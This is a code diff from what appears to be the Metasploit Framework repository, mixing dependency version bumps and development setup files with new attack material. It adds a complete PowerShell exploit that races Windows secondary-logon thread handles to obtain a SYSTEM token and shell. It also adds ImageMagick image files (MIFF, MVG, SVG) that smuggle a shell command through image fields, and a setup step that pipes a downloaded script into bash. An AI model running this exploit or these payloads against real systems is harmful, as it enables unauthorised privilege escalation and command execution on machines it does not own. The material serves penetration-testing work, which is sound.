|
||||
builder (~> 3.1)
|
||||
erubis (~> 2.7.0)
|
||||
rails-dom-testing (~> 1.0, >= 1.0.5)
|
||||
rails-html-sanitizer (~> 1.0, >= 1.0.2)
|
||||
activemodel (4.2.6)
|
||||
activesupport (= 4.2.6)
|
||||
activemodel (4.2.7)
|
||||
activesupport (= 4.2.7)
|
||||
builder (~> 3.1)
|
||||
activerecord (4.2.6)
|
||||
activemodel (= 4.2.6)
|
||||
activesupport (= 4.2.6)
|
||||
activerecord (4.2.7)
|
||||
activemodel (= 4.2.7)
|
||||
activesupport (= 4.2.7)
|
||||
arel (~> 6.0)
|
||||
activesupport (4.2.6)
|
||||
activesupport (4.2.7)
|
||||
i18n (~> 0.7)
|
||||
json (~> 1.7, >= 1.7.7)
|
||||
minitest (~> 5.1)
|
||||
@@ -75,6 +86,7 @@ GEM
|
||||
rspec-expectations (>= 2.99)
|
||||
thor (~> 0.19)
|
||||
bcrypt (3.1.11)
|
||||
bit-struct (0.15.0)
|
||||
builder (3.2.2)
|
||||
capybara (2.7.1)
|
||||
addressable
|
||||
@@ -87,16 +99,16 @@ GEM
|
||||
ffi (~> 1.0, >= 1.0.11)
|
||||
coderay (1.1.1)
|
||||
contracts (0.14.0)
|
||||
cucumber (2.3.3)
|
||||
cucumber (2.4.0)
|
||||
builder (>= 2.1.2)
|
||||
cucumber-core (~> 1.4.0)
|
||||
cucumber-core (~> 1.5.0)
|
||||
cucumber-wire (~> 0.0.1)
|
||||
diff-lcs (>= 1.1.3)
|
||||
gherkin (~> 3.2.0)
|
||||
gherkin (~> 4.0)
|
||||
multi_json (>= 1.7.5, < 2.0)
|
||||
multi_test (>= 0.1.2)
|
||||
cucumber-core (1.4.0)
|
||||
gherkin (~> 3.2.0)
|
||||
cucumber-core (1.5.0)
|
||||
gherkin (~> 4.0)
|
||||
cucumber-rails (1.4.3)
|
||||
capybara (>= 1.1.2, < 3)
|
||||
cucumber (>= 1.3.8, < 3)
|
||||
@@ -114,10 +126,10 @@ GEM
|
||||
railties (>= 3.0.0)
|
||||
faraday (0.9.2)
|
||||
multipart-post (>= 1.2, < 3)
|
||||
ffi (1.9.10)
|
||||
ffi (1.9.14)
|
||||
filesize (0.1.1)
|
||||
fivemat (1.3.2)
|
||||
gherkin (3.2.0)
|
||||
gherkin (4.0.0)
|
||||
i18n (0.7.0)
|
||||
jsobfu (0.4.1)
|
||||
rkelly-remix (= 0.0.6)
|
||||
@@ -129,7 +141,7 @@ GEM
|
||||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-credential (2.0.2)
|
||||
metasploit-credential (2.0.3)
|
||||
metasploit-concern
|
||||
metasploit-model
|
||||
metasploit_data_models
|
||||
@@ -141,7 +153,7 @@ GEM
|
||||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-payloads (1.1.11)
|
||||
metasploit-payloads (1.1.13)
|
||||
metasploit_data_models (2.0.0)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
@@ -152,19 +164,22 @@ GEM
|
||||
postgres_ext
|
||||
railties (~> 4.2.6)
|
||||
recog (~> 2.0)
|
||||
metasploit_payloads-mettle (0.0.5)
|
||||
method_source (0.8.2)
|
||||
mime-types (3.0)
|
||||
mime-types (3.1)
|
||||
mime-types-data (~> 3.2015)
|
||||
mime-types-data (3.2016.0221)
|
||||
mini_portile2 (2.0.0)
|
||||
minitest (5.8.4)
|
||||
msgpack (0.7.6)
|
||||
multi_json (1.12.0)
|
||||
mime-types-data (3.2016.0521)
|
||||
mini_portile2 (2.1.0)
|
||||
minitest (5.9.0)
|
||||
msgpack (1.0.0)
|
||||
multi_json (1.12.1)
|
||||
multi_test (0.1.2)
|
||||
multipart-post (2.0.0)
|
||||
net-ssh (3.2.0)
|
||||
network_interface (0.0.1)
|
||||
nokogiri (1.6.7.2)
|
||||
mini_portile2 (~> 2.0.0.rc2)
|
||||
nokogiri (1.6.8)
|
||||
mini_portile2 (~> 2.1.0)
|
||||
pkg-config (~> 1.1.7)
|
||||
octokit (4.3.0)
|
||||
sawyer (~> 0.7.0, >= 0.5.3)
|
||||
openssl-ccm (1.2.1)
|
||||
@@ -175,11 +190,12 @@ GEM
|
||||
pcaprub (0.12.4)
|
||||
pg (0.18.4)
|
||||
pg_array_parser (0.0.9)
|
||||
pkg-config (1.1.7)
|
||||
postgres_ext (3.0.0)
|
||||
activerecord (>= 4.0.0)
|
||||
arel (>= 4.0.1)
|
||||
pg_array_parser (~> 0.0.9)
|
||||
pry (0.10.3)
|
||||
pry (0.10.4)
|
||||
coderay (~> 1.1.0)
|
||||
method_source (~> 0.8.1)
|
||||
slop (~> 3.4)
|
||||
@@ -194,35 +210,46 @@ GEM
|
||||
rails-deprecated_sanitizer (>= 1.0.1)
|
||||
rails-html-sanitizer (1.0.3)
|
||||
loofah (~> 2.0)
|
||||
railties (4.2.6)
|
||||
actionpack (= 4.2.6)
|
||||
activesupport (= 4.2.6)
|
||||
railties (4.2.7)
|
||||
actionpack (= 4.2.7)
|
||||
activesupport (= 4.2.7)
|
||||
rake (>= 0.8.7)
|
||||
thor (>= 0.18.1, < 2.0)
|
||||
rake (11.1.2)
|
||||
rake (11.2.2)
|
||||
rb-readline-r7 (0.5.2.0)
|
||||
recog (2.0.21)
|
||||
nokogiri
|
||||
redcarpet (3.3.4)
|
||||
rex-java (0.1.2)
|
||||
rex-powershell (0.1.0)
|
||||
rex-random_identifier
|
||||
rex-text
|
||||
rex-random_identifier (0.1.0)
|
||||
rex-text
|
||||
rex-registry (0.1.0)
|
||||
rex-struct2 (0.1.0)
|
||||
rex-text (0.1.1)
|
||||
rex-zip (0.1.0)
|
||||
rex-text
|
||||
rkelly-remix (0.0.6)
|
||||
robots (0.10.1)
|
||||
rspec-core (3.4.4)
|
||||
rspec-support (~> 3.4.0)
|
||||
rspec-expectations (3.4.0)
|
||||
rspec-core (3.5.1)
|
||||
rspec-support (~> 3.5.0)
|
||||
rspec-expectations (3.5.0)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.4.0)
|
||||
rspec-mocks (3.4.1)
|
||||
rspec-support (~> 3.5.0)
|
||||
rspec-mocks (3.5.0)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.4.0)
|
||||
rspec-rails (3.4.2)
|
||||
actionpack (>= 3.0, < 4.3)
|
||||
activesupport (>= 3.0, < 4.3)
|
||||
railties (>= 3.0, < 4.3)
|
||||
rspec-core (~> 3.4.0)
|
||||
rspec-expectations (~> 3.4.0)
|
||||
rspec-mocks (~> 3.4.0)
|
||||
rspec-support (~> 3.4.0)
|
||||
rspec-support (3.4.1)
|
||||
rspec-support (~> 3.5.0)
|
||||
rspec-rails (3.5.1)
|
||||
actionpack (>= 3.0)
|
||||
activesupport (>= 3.0)
|
||||
railties (>= 3.0)
|
||||
rspec-core (~> 3.5.0)
|
||||
rspec-expectations (~> 3.5.0)
|
||||
rspec-mocks (~> 3.5.0)
|
||||
rspec-support (~> 3.5.0)
|
||||
rspec-support (3.5.0)
|
||||
rubyntlm (0.6.0)
|
||||
rubyzip (1.2.0)
|
||||
sawyer (0.7.0)
|
||||
@@ -230,23 +257,24 @@ GEM
|
||||
faraday (~> 0.8, < 0.10)
|
||||
shoulda-matchers (3.1.1)
|
||||
activesupport (>= 4.0.0)
|
||||
simplecov (0.11.2)
|
||||
simplecov (0.12.0)
|
||||
docile (~> 1.1.0)
|
||||
json (~> 1.8)
|
||||
json (>= 1.8, < 3)
|
||||
simplecov-html (~> 0.10.0)
|
||||
simplecov-html (0.10.0)
|
||||
slop (3.6.0)
|
||||
sqlite3 (1.3.11)
|
||||
sshkey (1.8.0)
|
||||
thor (0.19.1)
|
||||
thread_safe (0.3.5)
|
||||
timecop (0.8.1)
|
||||
tzinfo (1.2.2)
|
||||
thread_safe (~> 0.1)
|
||||
tzinfo-data (1.2016.4)
|
||||
tzinfo-data (1.2016.6)
|
||||
tzinfo (>= 1.0.0)
|
||||
xpath (2.0.0)
|
||||
nokogiri (~> 1.3)
|
||||
yard (0.8.7.6)
|
||||
yard (0.9.0)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
@@ -268,4 +296,4 @@ DEPENDENCIES
|
||||
yard
|
||||
|
||||
BUNDLED WITH
|
||||
1.12.4
|
||||
1.12.5
|
||||
|
||||
@@ -0,0 +1,27 @@
|
||||
**This should never appear in Metasploit Framework's master branch!**
|
||||
|
||||
The components under the unstable-* directories are unstable, in that
|
||||
they are untested, unverified, or otherwise incomplete. Many may be
|
||||
useful, but all require some level of work to get into the Metasploit
|
||||
master branch.
|
||||
|
||||
In order to load the modules specifically, use:
|
||||
|
||||
$ ./msfconsole -m unstable-modules/
|
||||
|
||||
Unstable scripts and plugins may be referenced by full pathname
|
||||
normally.
|
||||
|
||||
In order to help move these out of unstable and into the master
|
||||
branch, please fork the Metasploit framework project and send pull
|
||||
requests with your fixes back to the unstable branch. If you're
|
||||
reading this, you already probably have a GitHub account and are
|
||||
already familiar with the mechanics of forking and branching.
|
||||
Specifically, you probably know everything discussed on:
|
||||
|
||||
https://github.com/rapid7/metasploit-framework/wiki
|
||||
|
||||
Thanks for taking a look at these unstable modules!
|
||||
|
||||
- Tod Beardsley, todb[at]metasploit[dot]com
|
||||
|
||||
Vendored
+50
@@ -0,0 +1,50 @@
|
||||
# -*- mode: ruby -*-
|
||||
# vi: set ft=ruby :
|
||||
|
||||
Vagrant.configure(2) do |config|
|
||||
config.ssh.forward_x11 = true
|
||||
config.vm.box = "ubuntu/trusty64"
|
||||
# TODO: find a minimal image that keeps up-to-date and
|
||||
# supports multiple providers
|
||||
#config.vm.box = "phusion/ubuntu-14.04-amd64"
|
||||
config.vm.network :forwarded_port, guest: 4444, host: 4444
|
||||
config.vm.provider "vmware" do |v|
|
||||
v.memory = 2048
|
||||
v.cpus = 2
|
||||
end
|
||||
config.vm.provider "virtualbox" do |v|
|
||||
v.memory = 2048
|
||||
v.cpus = 2
|
||||
end
|
||||
%w(.vimrc .gitconfig).each do |f|
|
||||
local = File.expand_path "~/#{f}"
|
||||
if File.exist? local
|
||||
config.vm.provision "file", source: local, destination: f
|
||||
end
|
||||
end
|
||||
|
||||
[ #"echo 127.0.1.1 `cat /etc/hostname` >> /etc/hosts", work around a bug in official Ubuntu Xenial cloud images
|
||||
"apt-get update",
|
||||
"apt-get dist-upgrade -y",
|
||||
"apt-get -y install curl build-essential git tig vim john nmap libpq-dev libpcap-dev gnupg fortune postgresql postgresql-contrib",
|
||||
].each do |step|
|
||||
config.vm.provision "shell", inline: step
|
||||
end
|
||||
|
||||
[ "gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3",
|
||||
"curl -L https://get.rvm.io | bash -s stable",
|
||||
"source ~/.rvm/scripts/rvm && cd /vagrant && rvm --install .ruby-version",
|
||||
"source ~/.rvm/scripts/rvm && cd /vagrant && gem install bundler",
|
||||
"source ~/.rvm/scripts/rvm && cd /vagrant && bundle",
|
||||
"mkdir -p ~/.msf4",
|
||||
].each do |step|
|
||||
config.vm.provision "shell", privileged: false, inline: step
|
||||
end
|
||||
config.vm.provision "file", source: "config/database.yml.vagrant", destination: "~/.msf4/database.yml"
|
||||
|
||||
config.vm.provision "shell", inline: "sudo -u postgres psql postgres -tAc \"SELECT 1 FROM pg_roles WHERE rolname='vagrant'\" | grep -q 1 || sudo -u postgres createuser -s -e -w vagrant && sudo -u postgres psql -c \"ALTER USER vagrant with ENCRYPTED PASSWORD 'vagrant';\""
|
||||
|
||||
["msf_dev_db", "msf_test_db"].each do |database|
|
||||
config.vm.provision "shell", inline: "sudo -u postgres psql -lqt | awk '{ print $1 }' | grep -w #{database} | wc -l | grep -q 1 || sudo -u postgres createdb --owner vagrant #{database}"
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,18 @@
|
||||
development: &pgsql
|
||||
adapter: postgresql
|
||||
database: msf_dev_db
|
||||
username: vagrant
|
||||
password: vagrant
|
||||
host: localhost
|
||||
port: 5432
|
||||
pool: 200
|
||||
timeout: 5
|
||||
|
||||
production: &production
|
||||
<<: *pgsql
|
||||
|
||||
test:
|
||||
<<: *pgsql
|
||||
database: msf_test_db
|
||||
username: vagrant
|
||||
wassword: vagrant
|
||||
+334
@@ -0,0 +1,334 @@
|
||||
# Copyright (c) 2016, Ruben Booren (@FuzzySec)
|
||||
# All rights reserved
|
||||
Add-Type -TypeDefinition @"
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Principal;
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct PROCESS_INFORMATION
|
||||
{
|
||||
public IntPtr hProcess;
|
||||
public IntPtr hThread;
|
||||
public int dwProcessId;
|
||||
public int dwThreadId;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
|
||||
public struct STARTUPINFO
|
||||
{
|
||||
public Int32 cb;
|
||||
public string lpReserved;
|
||||
public string lpDesktop;
|
||||
public string lpTitle;
|
||||
public Int32 dwX;
|
||||
public Int32 dwY;
|
||||
public Int32 dwXSize;
|
||||
public Int32 dwYSize;
|
||||
public Int32 dwXCountChars;
|
||||
public Int32 dwYCountChars;
|
||||
public Int32 dwFillAttribute;
|
||||
public Int32 dwFlags;
|
||||
public Int16 wShowWindow;
|
||||
public Int16 cbReserved2;
|
||||
public IntPtr lpReserved2;
|
||||
public IntPtr hStdInput;
|
||||
public IntPtr hStdOutput;
|
||||
public IntPtr hStdError;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct SQOS
|
||||
{
|
||||
public int Length;
|
||||
public int ImpersonationLevel;
|
||||
public int ContextTrackingMode;
|
||||
public bool EffectiveOnly;
|
||||
}
|
||||
|
||||
public static class Advapi32
|
||||
{
|
||||
[DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
|
||||
public static extern bool CreateProcessWithLogonW(
|
||||
String userName,
|
||||
String domain,
|
||||
String password,
|
||||
int logonFlags,
|
||||
String applicationName,
|
||||
String commandLine,
|
||||
int creationFlags,
|
||||
int environment,
|
||||
String currentDirectory,
|
||||
ref STARTUPINFO startupInfo,
|
||||
out PROCESS_INFORMATION processInformation);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError=true)]
|
||||
public static extern bool SetThreadToken(
|
||||
ref IntPtr Thread,
|
||||
IntPtr Token);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError=true)]
|
||||
public static extern bool OpenThreadToken(
|
||||
IntPtr ThreadHandle,
|
||||
int DesiredAccess,
|
||||
bool OpenAsSelf,
|
||||
out IntPtr TokenHandle);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError=true)]
|
||||
public static extern bool OpenProcessToken(
|
||||
IntPtr ProcessHandle,
|
||||
int DesiredAccess,
|
||||
ref IntPtr TokenHandle);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError=true)]
|
||||
public extern static bool DuplicateToken(
|
||||
IntPtr ExistingTokenHandle,
|
||||
int SECURITY_IMPERSONATION_LEVEL,
|
||||
ref IntPtr DuplicateTokenHandle);
|
||||
}
|
||||
|
||||
public static class Kernel32
|
||||
{
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern uint GetLastError();
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern IntPtr GetCurrentProcess();
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern IntPtr GetCurrentThread();
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern int GetThreadId(IntPtr hThread);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern int GetProcessIdOfThread(IntPtr handle);
|
||||
|
||||
[DllImport("kernel32.dll",SetLastError=true)]
|
||||
public static extern int SuspendThread(IntPtr hThread);
|
||||
|
||||
[DllImport("kernel32.dll",SetLastError=true)]
|
||||
public static extern int ResumeThread(IntPtr hThread);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern bool TerminateProcess(
|
||||
IntPtr hProcess,
|
||||
uint uExitCode);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern bool CloseHandle(IntPtr hObject);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern bool DuplicateHandle(
|
||||
IntPtr hSourceProcessHandle,
|
||||
IntPtr hSourceHandle,
|
||||
IntPtr hTargetProcessHandle,
|
||||
ref IntPtr lpTargetHandle,
|
||||
int dwDesiredAccess,
|
||||
bool bInheritHandle,
|
||||
int dwOptions);
|
||||
}
|
||||
|
||||
public static class Ntdll
|
||||
{
|
||||
[DllImport("ntdll.dll", SetLastError=true)]
|
||||
public static extern int NtImpersonateThread(
|
||||
IntPtr ThreadHandle,
|
||||
IntPtr ThreadToImpersonate,
|
||||
ref SQOS SecurityQualityOfService);
|
||||
}
|
||||
"@
|
||||
|
||||
function Get-ThreadHandle {
|
||||
# StartupInfo Struct
|
||||
$StartupInfo = New-Object STARTUPINFO
|
||||
$StartupInfo.dwFlags = 0x00000100 # STARTF_USESTDHANDLES
|
||||
$StartupInfo.hStdInput = [Kernel32]::GetCurrentThread()
|
||||
$StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread()
|
||||
$StartupInfo.hStdError = [Kernel32]::GetCurrentThread()
|
||||
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
|
||||
|
||||
# ProcessInfo Struct
|
||||
$ProcessInfo = New-Object PROCESS_INFORMATION
|
||||
|
||||
# CreateProcessWithLogonW --> lpCurrentDirectory
|
||||
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
|
||||
|
||||
$path1 = $env:windir
|
||||
$path1 = "$path1\System32\cmd.exe"
|
||||
# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
|
||||
$CallResult = [Advapi32]::CreateProcessWithLogonW(
|
||||
"user", "domain", "pass",
|
||||
0x00000002, $path1, "",
|
||||
0x00000004, $null, $GetCurrentPath,
|
||||
[ref]$StartupInfo, [ref]$ProcessInfo)
|
||||
|
||||
# Duplicate handle into current process -> DUPLICATE_SAME_ACCESS
|
||||
$lpTargetHandle = [IntPtr]::Zero
|
||||
$CallResult = [Kernel32]::DuplicateHandle(
|
||||
$ProcessInfo.hProcess, 0x4,
|
||||
[Kernel32]::GetCurrentProcess(),
|
||||
[ref]$lpTargetHandle, 0, $false,
|
||||
0x00000002)
|
||||
|
||||
# Clean up suspended process
|
||||
$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
|
||||
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
|
||||
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
|
||||
|
||||
$lpTargetHandle
|
||||
}
|
||||
|
||||
function Get-SystemToken {
|
||||
echo "`n[?] Trying thread handle: $Thread"
|
||||
echo "[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($Thread))).ProcessName)"
|
||||
|
||||
$CallResult = [Kernel32]::SuspendThread($Thread)
|
||||
if ($CallResult -ne 0) {
|
||||
echo "[!] $Thread is a bad thread, moving on.."
|
||||
Return
|
||||
} echo "[+] Thread suspended"
|
||||
|
||||
echo "[>] Wiping current impersonation token"
|
||||
$CallResult = [Advapi32]::SetThreadToken([ref]$Thread, [IntPtr]::Zero)
|
||||
if (!$CallResult) {
|
||||
echo "[!] SetThreadToken failed, moving on.."
|
||||
$CallResult = [Kernel32]::ResumeThread($Thread)
|
||||
echo "[+] Thread resumed!"
|
||||
Return
|
||||
}
|
||||
|
||||
echo "[>] Building SYSTEM impersonation token"
|
||||
# SecurityQualityOfService struct
|
||||
$SQOS = New-Object SQOS
|
||||
$SQOS.ImpersonationLevel = 2 #SecurityImpersonation
|
||||
$SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS)
|
||||
# Undocumented API's, I like your style Microsoft ;)
|
||||
$CallResult = [Ntdll]::NtImpersonateThread($Thread, $Thread, [ref]$sqos)
|
||||
if ($CallResult -ne 0) {
|
||||
echo "[!] NtImpersonateThread failed, moving on.."
|
||||
$CallResult = [Kernel32]::ResumeThread($Thread)
|
||||
echo "[+] Thread resumed!"
|
||||
Return
|
||||
}
|
||||
|
||||
$script:SysTokenHandle = [IntPtr]::Zero
|
||||
# 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE
|
||||
$CallResult = [Advapi32]::OpenThreadToken($Thread, 0x0006, $false, [ref]$SysTokenHandle)
|
||||
if (!$CallResult) {
|
||||
echo "[!] OpenThreadToken failed, moving on.."
|
||||
$CallResult = [Kernel32]::ResumeThread($Thread)
|
||||
echo "[+] Thread resumed!"
|
||||
Return
|
||||
}
|
||||
|
||||
echo "[?] Success, open SYSTEM token handle: $SysTokenHandle"
|
||||
echo "[+] Resuming thread.."
|
||||
$CallResult = [Kernel32]::ResumeThread($Thread)
|
||||
}
|
||||
|
||||
# main() <--- ;)
|
||||
|
||||
# Check logical processor count, race condition requires 2+
|
||||
echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)"
|
||||
if ($([System.Environment]::ProcessorCount) -lt 2) {
|
||||
echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n"
|
||||
Return
|
||||
}
|
||||
|
||||
# Create array for Threads & TID's
|
||||
$ThreadArray = @()
|
||||
$TidArray = @()
|
||||
|
||||
echo "[>] Duplicating CreateProcessWithLogonW handles.."
|
||||
# Loop Get-ThreadHandle and collect thread handles with a valid TID
|
||||
for ($i=0; $i -lt 500; $i++) {
|
||||
$hThread = Get-ThreadHandle
|
||||
$hThreadID = [Kernel32]::GetThreadId($hThread)
|
||||
# Bit hacky/lazy, filters on uniq/valid TID's to create $ThreadArray
|
||||
if ($TidArray -notcontains $hThreadID) {
|
||||
$TidArray += $hThreadID
|
||||
if ($hThread -ne 0) {
|
||||
$ThreadArray += $hThread # This is what we need!
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if ($($ThreadArray.length) -eq 0) {
|
||||
echo "[!] No valid thread handles were captured, exiting!"
|
||||
Return
|
||||
} else {
|
||||
echo "[?] Done, got $($ThreadArray.length) thread handle(s)!"
|
||||
echo "`n[?] Thread handle list:"
|
||||
$ThreadArray
|
||||
}
|
||||
|
||||
echo "`n[*] Sniffing out privileged impersonation token.."
|
||||
foreach ($Thread in $ThreadArray){
|
||||
|
||||
# Get handle to SYSTEM access token
|
||||
Get-SystemToken
|
||||
|
||||
echo "`n[*] Sniffing out SYSTEM shell.."
|
||||
echo "`n[>] Duplicating SYSTEM token"
|
||||
$hDuplicateTokenHandle = [IntPtr]::Zero
|
||||
$CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle)
|
||||
|
||||
# Simple PS runspace definition
|
||||
echo "[>] Starting token race"
|
||||
$Runspace = [runspacefactory]::CreateRunspace()
|
||||
$StartTokenRace = [powershell]::Create()
|
||||
$StartTokenRace.runspace = $Runspace
|
||||
$Runspace.Open()
|
||||
[void]$StartTokenRace.AddScript({
|
||||
Param ($Thread, $hDuplicateTokenHandle)
|
||||
while ($true) {
|
||||
$CallResult = [Advapi32]::SetThreadToken([ref]$Thread, $hDuplicateTokenHandle)
|
||||
}
|
||||
}).AddArgument($Thread).AddArgument($hDuplicateTokenHandle)
|
||||
$AscObj = $StartTokenRace.BeginInvoke()
|
||||
|
||||
echo "[>] Starting process race"
|
||||
# Adding a timeout (10 seconds) here to safeguard from edge-cases
|
||||
$SafeGuard = [diagnostics.stopwatch]::StartNew()
|
||||
while ($SafeGuard.ElapsedMilliseconds -lt 10000) {
|
||||
# StartupInfo Struct
|
||||
$StartupInfo = New-Object STARTUPINFO
|
||||
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
|
||||
|
||||
# ProcessInfo Struct
|
||||
$ProcessInfo = New-Object PROCESS_INFORMATION
|
||||
|
||||
# CreateProcessWithLogonW --> lpCurrentDirectory
|
||||
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
|
||||
|
||||
# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
|
||||
$CallResult = [Advapi32]::CreateProcessWithLogonW(
|
||||
"user", "domain", "pass",
|
||||
0x00000002, $cmd, $args1,
|
||||
0x00000004, $null, $GetCurrentPath,
|
||||
[ref]$StartupInfo, [ref]$ProcessInfo)
|
||||
$hTokenHandle = [IntPtr]::Zero
|
||||
$CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle)
|
||||
|
||||
# If we can't open the process token it's a SYSTEM shell!
|
||||
if (!$CallResult) {
|
||||
echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n"
|
||||
$CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread)
|
||||
$StartTokenRace.Stop()
|
||||
$SafeGuard.Stop()
|
||||
Return
|
||||
}
|
||||
|
||||
# Clean up suspended process
|
||||
$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
|
||||
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
|
||||
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
|
||||
}
|
||||
|
||||
# Kill runspace & stopwatch if edge-case
|
||||
$StartTokenRace.Stop()
|
||||
$SafeGuard.Stop()
|
||||
}
|
||||
exit
|
||||
Binary file not shown.
|
Before Width: | Height: | Size: 593 B After Width: | Height: | Size: 593 B |
@@ -0,0 +1,14 @@
|
||||
id=ImageMagick version=1.0
|
||||
class=DirectClass colors=0 matte=False
|
||||
columns=1 rows=1 depth=16
|
||||
colorspace=sRGB
|
||||
page=1x1+0+0
|
||||
rendering-intent=Perceptual
|
||||
gamma=0.454545
|
||||
red-primary=0.64,0.33 green-primary=0.3,0.6 blue-primary=0.15,0.06
|
||||
white-point=0.3127,0.329
|
||||
date:create=2016-05-04T00:19:42-05:00
|
||||
date:modify=2016-05-04T00:19:42-05:00
|
||||
label={";touch vulnerable"}
|
||||
|
||||
:ÿÿÿÿÿÿ
|
||||
@@ -0,0 +1,8 @@
|
||||
push graphic-context
|
||||
encoding "UTF-8"
|
||||
viewbox 0 0 1 1
|
||||
affine 1 0 0 1 0 0
|
||||
push graphic-context
|
||||
image Over 0,0 1,1 '|touch vulnerable'
|
||||
pop graphic-context
|
||||
pop graphic-context
|
||||
@@ -0,0 +1,5 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
|
||||
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
|
||||
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="1px" height="1px" viewBox="0 0 1 1" enable-background="new 0 0 1 1" xml:space="preserve"> <image id="image0" width="1" height="1" x="0" y="0"
|
||||
xlink:href="|touch vulnerable" />
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 480 B |
Binary file not shown.
@@ -9,10 +9,25 @@ function ajax_download(oArg) {
|
||||
xmlHttp.overrideMimeType("text/plain; charset=x-user-defined");
|
||||
}
|
||||
|
||||
xmlHttp.open(oArg.method, oArg.path, false);
|
||||
xmlHttp.send(oArg.data);
|
||||
if (xmlHttp.readyState == 4 && xmlHttp.status == 200) {
|
||||
return xmlHttp.responseText;
|
||||
xmlHttp.open(oArg.method, oArg.path, !!oArg.cb);
|
||||
|
||||
if (oArg.cb) {
|
||||
xmlHttp.onreadystatechange = function() {
|
||||
if (xmlHttp.readyState == 4) {
|
||||
oArg.cb.apply(this);
|
||||
}
|
||||
};
|
||||
|
||||
xmlHttp.send(oArg.data);
|
||||
}
|
||||
return null;
|
||||
else {
|
||||
xmlHttp.send(oArg.data);
|
||||
if (xmlHttp.readyState == 4 && xmlHttp.status == 200) {
|
||||
return xmlHttp.responseText;
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
return xmlHttp;
|
||||
}
|
||||
@@ -15,5 +15,5 @@
|
||||
| %bld[ OK ]%clr |
|
||||
|______________________________________________________________________________|
|
||||
| |
|
||||
| http://metasploit.pro |
|
||||
| http://metasploit.com |
|
||||
|______________________________________________________________________________|%clr
|
||||
|
||||
@@ -18,4 +18,4 @@
|
||||
%bluMMMMMMMMMMNm,%clr %blueMMMMMNMMNMM%clr
|
||||
%bluMMMMNNMNMMMMMNx%clr %bluMMMMMMNMMNMMNM%clr
|
||||
%bluMMMMMMMMNMMNMMMMm+..+MMNMMNMNMMNMMNMM%clr
|
||||
%clr%bld http://metasploit.pro
|
||||
%clr%bld http://metasploit.com
|
||||
|
||||
@@ -27,4 +27,4 @@
|
||||
################################################################################
|
||||
# %bldWAVE 4%clr ######## %bldSCORE 31337%clr ################################## %bldHIGH FFFFFFFF%clr #
|
||||
################################################################################
|
||||
http://metasploit.pro%clr
|
||||
http://metasploit.com%clr
|
||||
|
||||
@@ -27,4 +27,4 @@
|
||||
# # ### # # ##
|
||||
########################
|
||||
## ## ## ##
|
||||
http://metasploit.pro%clr
|
||||
http://metasploit.com%clr
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
